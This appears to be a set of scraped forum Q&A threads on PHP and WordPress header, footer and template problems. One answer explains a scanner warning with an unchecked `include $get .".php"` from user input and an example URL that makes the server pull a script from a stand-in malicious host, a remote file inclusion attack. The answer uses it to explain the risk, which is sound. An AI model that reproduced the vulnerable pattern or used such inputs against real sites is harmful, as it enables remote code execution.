I am creating a custom theme, but have run into some problems. For your information my files are as seen below:
themes/
aq-aquatics/
css/
img/
js/
footer.php
functions.php
header.php
index.php
page-homepage.php
page-wide.php
style.css
index.php
This is my header.php
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="<?= get_template_directory_uri(); ?>/css/bootstrap.min.css">
<link href='https://fonts.googleapis.com/css?family=Asap:400,700' rel='stylesheet' type='text/css'>
<link href="http://fonts.googleapis.com/css?family=Arvo:400,700,400italic,700italic" rel="stylesheet" type="text/css">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="author" content="Matthew Smart">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<![endif]-->
<title><?php wp_title(); ?></title>
<?php wp_head(); ?>
</head>
<body>
<div class="wrap">
<header>
<div class="header-top text-right">
<div class="container">
<span style="margin-right:40px;">Tel: 01922 418050</span><span>Email: sales#hollybush-garden.com</span>
</div>
</div>
<div class="container">
<div class="header-content" style="min-height:86px;">
<div class="row">
<div class="col-sm-1" style="position:absolute;top:11px;z-index:1000;">
<img src="<?= get_template_directory_uri(); ?>/img/logo.png" width="108" height="100" alt="a&d logo"/>
</div>
<div class="col-sm-offset-1 col-sm-10 text-right" style="margin-left:132px;">
<nav class="navbar">
<div class="container">
<div>
<ul class="nav navbar-nav" style="width:inherit; border-bottom:none !important;margin-top:31px;">
<li class="active">Home</li>
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">At A & D
<span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Page 1-1</li>
<li>Page 1-2</li>
<li>Page 1-3</li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" data-toggle="dropdown" href="#">Aquatics
<span class="caret"></span></a>
<ul class="dropdown-menu">
<li>Tropical</li>
<li>Pond</li>
<li>Marine</li>
<li>Cold water</li>
<li>Aquatics Sundries</li>
</ul>
</li>
<li>Valencia Wharf Coffee Shop</li>
<li>Opening Times</li>
<li>Contact Us</li>
</ul>
</div>
</div>
</nav>
</div>
</div>
</div>
</div>
<div class="purple-line" style="margin-bottom:25px;"></div>
</header>
This is my page.wide.php
<?php
/*
Template Name: Wide Page
*/
get_header();
?>
<?php
if ( have_posts() ) {
while ( have_posts() ) {
//
// Post Content here
the_content();
//
} // end while
} // end if
?>
<?php get_footer(); ?>
And this is my footer.php
<footer>
<div class="container">
<div class="col-sm-6">
A&D AQUATIC & GARDEN CENTRE | WEBSITE DESIGN BY <span>MATTHEW SMART</span>
</div>
<div class="col-sm-6 text-right">
<ul>
<li>TERMS AND CONDITIONS</li>
<li>PRIVACY POLICY</li>
<li>COOKES</li>
</ul>
</div>
</div>
</footer>
</div><!-- End WRAP -->
<?php wp_footer(); ?>
</body>
</html>
Now the page i am trying to test is using the wide template. I have put some dummy text into the editor and clicked publish.
Now when i try to visit the page the first thing i can see is part of the header. The browser then takes another 5 seconds and loads the navigation which is in my header.php file.
It seems to just ignore everything from the page template and afterwards. So the_content() pulls nothing through and the footer doesn't get displayed.
I have been comparing these files with other themes i have created and cannot seem to find a cause.
Does anyone know why this may be happening?
Thanks
Your loop is missing the_post().
<?php
if ( have_posts() ) {
while ( have_posts() ) {
the_post();
//
// Post Content here
the_content();
//
} // end while
} // end if
?>
https://codex.wordpress.org/Function_Reference/the_post
This is necessary to let WordPress know you are inside the loop, and retrieve the requested post's data. The footer isn't loading because the page is erroring out when it calls the_content() and cannot deal with this function outside the loop.
According to WordPress documentation the_content "must be within The_Loop."
Related
I have following html/css theme and trying to convert it to cake php theme.
I was reading through tutorials but I just don't understand it. Either css file is not working or the content is not displaying.
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Shedule Me</title>
<!-- Bootstrap Core CSS -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- Theme CSS -->
<link href="css/styles.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="framework/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Lato:400,700,400italic,700italic" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700,800" rel="stylesheet">
<!-- Navigation -->
<nav id="mainNav" class="navbar navbar-default navbar-custom">
<div class="container header">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header page-scroll">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span><i class="fa fa-bars"></i>
</button>
<a class="navbar-brand logo-text" href="#page-top">New Theme</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav navbar-right">
<li class="hidden">
</li>
<li class="page-scroll">
Home
</li>
<li class="page-scroll">
About
</li>
<li class="page-scroll">
Services
</li>
<li class="page-scroll">
Contact Us
</li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container-fluid -->
</nav>
<!-- Header -->
<section>
<div class="container">
<div class="row">
<div class="col-md-7">
<img src="img/benner.png" alt="Banner" class="img-responsive" />
</div>
<div class="col-md-5">
<div class="card">
<h3 class="title-log">Already a Member?</h3>
<label>
Email
<input style="display:block;margin:0 auto;" type="text"/>
</label>
<label>
Password
<input style="display:block;margin:0 auto;" type="password"/>
</label>
<input type="button" value="Log in" class="elevator"/>
<h3>Not a Member?</h3>
Sign up
</div>
</div>
</div>
</div>
</section>
<!-- jQuery -->
<script src="framework/jquery/jquery.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="framework/bootstrap/js/bootstrap.min.js"></script>
webroot/
custom/ <-- custom css/js plugin folder, for example datepicker plugin
css/
js/
css/
img/
js/
CSS
// load css from css folder, example.com/css/bootstrap.min.css
<?= $this->Html->css('bootstrap.min') ?>
// load css from custom folder, example.com/custom/bootstrap.min.css
<?= $this->Html->css('/custom/bootstrap.min') ?>
// load remote / cdn css file, note without http or https
<?= $this->Html->css('//fonts.googleapis.com/css?family=Montserrat:400,700') ?>
JS / jQuery
// load js file from js folder, example.com/js/bootstrap.min.js
<?= $this->Html->js('bootstrap.min') ?>
// load js file from custom folder, example.com/custom/bootstrap.min.js
<?= $this->Html->js('/custom/bootstrap.min') ?>
// load remote / cdn js file, note without http or https
<?= $this->Html->js('//code.jquery.com/jquery-2.2.4.min.js') ?>
read more http://book.cakephp.org/3.0/en/views/helpers/html.html
I'm working with HTML and PHP, but I have a problem. I would like to put different content for each of my pages, but I don't know how. I would like to put a content for my index.php page and a different content for my other pages:
http://prntscr.com/8359bu
and my sign-up.php page: http://prntscr.com/8359l4
I have my container with two breadcrumbs (top and bottom). I want to put my content between the two breadcrumbs and for that, I need to put the content here: http://prntscr.com/835a50
Problem: I want to work on a sign-up.php page and I want to code the register form in the sign-up.php page. But I can't, because I need to have an element that allows me to import the code of my sign-up.php: http://prntscr.com/835bq4 to this location: http://prntscr.com/835a50
Index.php:
<?php $title = "Home"; ?>
<?php require "includes/header.php"; ?>
<?php include "includes/footer.php"; ?>
Header.php:
<!DOCTYPE html>
<html lang="en-US">
<head>
<title><?php echo $title; ?></title>
<meta charset="UTF-8">
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<link href="css/style.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
</head>
<body>
<div id="body-container">
<div id="body-pusher">
<?php require "includes/navigation.php"; ?>
<div id="header">
<div class="wrapper">
<span id="logo">
Logo
</span>
<div id="visitor-links">
<ul>
<li class="sign-in">
Sign In
</li>
<li>
<a class="button sign-up" href="sign-up.php">Sign Up</a>
</li>
</ul>
</div>
</div>
</div>
<div class="wrapper">
<div id="container">
<div id="breadcrumb-top" class="breadcrumb">
<?php include "includes/breadcrumbs.php"; ?>
</div>
<div id="breadcrumb-bottom" class="breadcrumb">
<?php include "includes/breadcrumbs.php"; ?>
</div>
</div>
</div>
Sign-up.php:
<?php $title = "Sign Up"; ?>
<?php require "includes/header.php"; ?>
<?php include "includes/footer.php"; ?>
Footer.php:
<div id="footer">
<div class="wrapper">
<ul>
<li>
Help
</li>
<li>
Help
</li>
</ul>
<div id="copyright">
Coded by Dylan - ©2015-2016
</div>
</div>
</div>
</div>
</div>
Navigation.php:
<div id="navigation">
<div class="wrapper">
<ul>
<li>
Test
</li>
</ul>
</div>
</div>
I really need help please.
There is no way to solve your issue in the way you want to do. The best solution is to move your #breadcrumb-bottom into footer.php.
In your case :
header.php :
<!DOCTYPE html>
<html lang="en-US">
<head>
<title><?php echo $title; ?></title>
<meta charset="UTF-8">
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<link href="css/style.css" rel="stylesheet">
<link href="//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet">
</head>
<body>
<div id="body-container">
<div id="body-pusher">
<?php require "includes/navigation.php"; ?>
<div id="header">
<div class="wrapper">
<span id="logo">
Logo
</span>
<div id="visitor-links">
<ul>
<li class="sign-in">
Sign In
</li>
<li>
<a class="button sign-up" href="sign-up.php">Sign Up</a>
</li>
</ul>
</div>
</div>
</div>
<div class="wrapper">
<div id="container">
<div id="breadcrumb-top" class="breadcrumb">
<?php include "includes/breadcrumbs.php"; ?>
</div>
footer.php :
<div id="breadcrumb-bottom" class="breadcrumb">
<?php include "includes/breadcrumbs.php"; ?>
</div>
</div>
</div>
<div id="footer">
<div class="wrapper">
<ul>
<li>
Help
</li>
<li>
Help
</li>
</ul>
<div id="copyright">
Coded by Dylan - ©2015-2016
</div>
</div>
</div>
</div>
</div>
Sign-up.php :
<?php $title = "Sign Up"; ?>
<?php require "includes/header.php"; ?>
<!-- Code here -->
<?php include "includes/footer.php"; ?>
It's also possible to use JS but I'm not convinced it is a good solution in your case.
I have a header.php and a footer.php which I include into all other pages like home, contact, about us etc.
The way I included the header and the footer file is
<?php include 'inc/header.php';
some code
some code
include 'inc/header.php'; ?>
Everything simple and works fine.
I decided to check my project for vulnerability and downloaded RIPS scanner. After the scan, the result
Userinput reaches sensitive sink.
5: include include 'inc/header.php'; // header.php
requires:
5: if(!in_array($_GET['file'], $files)) else
which basically say that both header and footer are vulnerable and I should use
if(!in_array($_GET['file'], $files)) else
How come a simple include header and footer file be vulnerable? and if vulnerable, how should i implement if(!in_array($_GET['file'], $files)) else ??
header.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="icon" href="images/common/lbfavicon.ico" />
<meta name="author" content="example.com" />
<link rel="stylesheet" type="text/css" href="template/css/reset.css" media="screen" />
<link rel="stylesheet" type="text/css" href="template/css/layout.css" media="screen"/>
</head>
<body>
<div id="header-wrapper">
<div class="container">
<div id="nav">
<ul>
<li>Home</li>
<li>About</li>
<li>Contact</li>
</ul>
</div><!-- nav ends -->
</div><!-- container ends -->
</div><!-- header wrapper ends -->
<div id="header">
<div class="container">
<div id="logo">
<img src="template/images/logo.png" width="125" height="45" alt="logo" />
</div><!-- logo ends -->
<div id="search">
<form method="get" action="searchresult.php">
<div class="form-item">
Search: <input type="text" maxlength="120" name="searchfor" />
</div>
</form>
</div><!-- search ends -->
</div><!-- container ends-->
</div><!-- header ends -->
<div class="container">
<div id="announcement">
<div id="breadcrumbs"></div>
</div><!-- announcement ends -->
<div id="pagewrapper">
Footer.php
<div id="bottom">
<div class="column">
<h2>Abc.com</h2>
<ul>
<li>About</li>
<li>Contact</li>
</ul>
</div>
<div class="column">
<h2>Mode of payment</h2>
<ul>
<li>Credit/Debit card | Cheque | Demand draft</li>
</ul>
<h2>Get in touch</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div class="column">
<h2>Call us / Mail us</h2>
<ul>
<li>0-9999384745 / info#example.com</li>
</ul>
<h2>Share us</h2>
<ul>
<li><img src="template/images/facebook.png" width="32" height="32" alt="facebook" /></li>
</ul>
</div>
<div style="clear: both;"></div>
</div> <!-- bottom ends -->
<div id="footer">
</div>
</div> <!--Pagewrapper end-->
</div>
</body>
</html>
Well I suppose this is just a warning but in a global way, when you include .php scripts which names come from user input, you should absolutely check if the names provided are correct or not (to prevent security issues).
For example, a lot of websites use a "global" file that would include file according to requests coming from the user.
Example :
<?php
$get = $_GET['action'];
if ($get == "index") {
include "includes/index.php";
}
//...
else
{
include $get .".php";
}
Now let's imagine someone want to include some malicious script within your website. If your server allow cross-website requests, then people could specify some external script that could be dangerous for your server or the others users.
Example : ./global.php?action=http://malicious4ever.com/dirtything
I'am new to foundation framework and i trying to integrate foundation with CodeIgniter. Everything working but menu portion is not working. it seems the style is not effecting the menu. its been 2-3 days i'am working on this, please help me to solve this.
<!doctype html>
<html class="no-js" lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Foundation | Welcome</title>
<link rel="stylesheet" href="<?php echo base_url().'public/lib/found/'; ? >
css/foundation.css" />
<script src="<?php echo base_url().'public/lib/found/'; ?>js/vendor/
modernizr.js"> </script>
<style>
.columns
{
border:1px solid red;
}
</style>
</head>
<body>
<div class="row">
<nav class="top-bar" data-topbar>
<ul class="title-area">
<li class="name">
<h1>My Site</h1>
</li>
<li class="toggle-topbar menu-icon">Menu</li>
</ul>
<section class="top-bar-section">
<!-- Right Nav Section -->
<ul class="right">
<li class="active">Right Button Active</li>
<li class="has-dropdown">
Right Button Dropdown
<ul class="dropdown">
<li>First link in dropdown</li>
</ul>
</li>
</ul>
<!-- Left Nav Section -->
<ul class="left">
<li>Left Nav Button</li>
</ul>
</section>
</nav>
</div>
<div class="row">
<div class="large-4 columns"><br/><br/></div>
<div class="large-8 columns"><br/><br/></div>
</div>
<script src="<?php echo base_url().'public/lib/found/'; ?>js/vendor/
jquery.js"> </script>
<script src="<?php echo base_url().'public/lib/found/'; ?>js/
foundation.min.js"></script>
<script>
$(document).foundation();
</script>
</body>
</html>
I find the problem. I only added the file which i included in the html page like modernizr.js, foundation.min.js, foundation.css ..etc. But when i added entire foundation folder to my new application its works.
I'm designing this website and I need it to be .php to communicate with a database and start some countdown clocks (which aren't up yet). The page was originally .html and everything was perfect, but since I changed it to .php for some reason the footer keeps repeating itself. The code will be fine on my editor, I'll load the page, reload the file on the editor and the code somehow appears there all on its own!
Right now there is no PHP code whatsoever, I merely changed the file's extension. If you visit the same URL but the .html version, you'll see everything is fine. What could be causing this?
Thanks in advance for your help!
EDIT:
Entire HTML Code:
<!DOCTYPE HTML>
<html>
<head>
<title>Aqua</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="description" content="" />
<meta name="keywords" content="" />
<link href="http://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,700,900,300italic" rel="stylesheet" />
<script src="js/jquery-1.8.3.min.js"></script>
<script src="css/5grid/init.js?use=mobile,desktop,1000px&mobileUI=1&mobileUI.theme=none&mobileUI.titleBarOverlaid=1&viewport_is1000px=1060"></script>
<script src="js/jquery.dropotron-1.2.js"></script>
<script src="js/init.js"></script>
<noscript>
<link rel="stylesheet" href="css/5grid/core.css" />
<link rel="stylesheet" href="css/5grid/core-desktop.css" />
<link rel="stylesheet" href="css/5grid/core-1200px.css" />
<link rel="stylesheet" href="css/5grid/core-noscript.css" />
<link rel="stylesheet" href="css/style.css" />
<link rel="stylesheet" href="css/style-desktop.css" />
</noscript>
<!--[if lte IE 8]><link rel="stylesheet" href="css/ie8.css" /><![endif]-->
<!-- Photo gallery stuff -->
<link rel="stylesheet" href="css/slideshow/slideshow.css">
<style>
.slideshow { margin-left: 24.45%; }
</style>
<script src="js/mootools-1.3.2-core.js"></script>
<script src="js/mootools-1.3.2.1-more.js"></script>
<script src="js/slideshow.js"></script>
<script>
window.addEvent('domready', function(){
var data = { 'pic07.jpg': {/*No captions, thumbnails or anything*/}, 'pic06.jpg': {}, 'pic10.jpg': {}, 'pic02.jpg': {}};
new Slideshow('slideshow', data, { controller: false, thumbnails: false, loader: false, height: 400, width: 600, hu: 'images/', transition: 'back:in:out'});
});
</script>
<!--End-->
</head>
<body class="homepage">
<!-- Header Wrapper -->
<div id="header-wrapper">
<div class="5grid-layout">
<div class="row">
<div class="12u">
<!-- Header -->
<section id="header">
<!-- Logo -->
<img class="logo" src="images/aqua.jpg">
<!-- Nav -->
<nav id="nav" class="mobileUI-site-nav">
<ul>
<li class="current_page_item">Home</li>
<li>Photos</li>
<li>Videos</li>
<li>Store</li>
<li>About Us</li>
<li>Contact</li>
</ul>
</nav>
</section>
</div>
</div>
<div class="row">
<div class="12u">
<!-- Banner -->
<section id="banner">
<div id="slideshow" class="slideshow"></div>
</section>
</div>
</div>
<div class="row">
<div class="12u">
<!-- Intro -->
<section id="intro">
<div class="actions">
Get Started
Learn More
</div>
</section>
</div>
</div>
</div>
</div>
<!-- Footer Wrapper -->
<div id="footer-wrapper">
<!-- Footer -->
<section id="footer" class="5grid-layout">
<div class="row">
<div class="4u">
<section>
<header>
<h2>Links</h2>
</header>
<ul class="divided">
<li>Events/Tickets</li>
<li>Photos</li>
<li>Videos</li>
<li>Store</li>
<li>About Us</li>
<li>Contact</li>
</ul>
</section>
</div>
<div class="4u">
<section>
<header>
<h2>Connect with us</h2>
</header>
<ul class="social">
<li class="facebook">Facebook</li>
<li class="twitter">Twitter</li>
</ul>
<ul class="contact">
<li>
<h3>Address</h3>
<p>
Aqua, LLC<br />
39 Old Ridgebury Road<br />
Danbury, CT 06810
</p>
</li>
<li>
<h3>Phone</h3>
<p>(800) 000-0000</p>
</li>
</ul>
</section>
</div>
</div>
<div class="row">
<div class="12u">
<!-- Copyright -->
<div id="copyright">
<ul class="links">
<li>© Aqua, LLC</li>
<li>Images: Dreametry Doodle + Iconify.it</li>
<li>Design: HTML5 Up! + Daytaro</li>
</ul>
</div>
</div>
</div>
</section>
</div>
</body>
</html>
It's repeated really awkwardly after that. It might the FTP server, I use Koding (don't ask) for this and it's connected to my server via FTP. I tried using FileZilla too (didn't delete files before re-uploading) but that didn't do anything.
Make sure you delete the file before uploading it. Some FTP clients will write over with some extra code...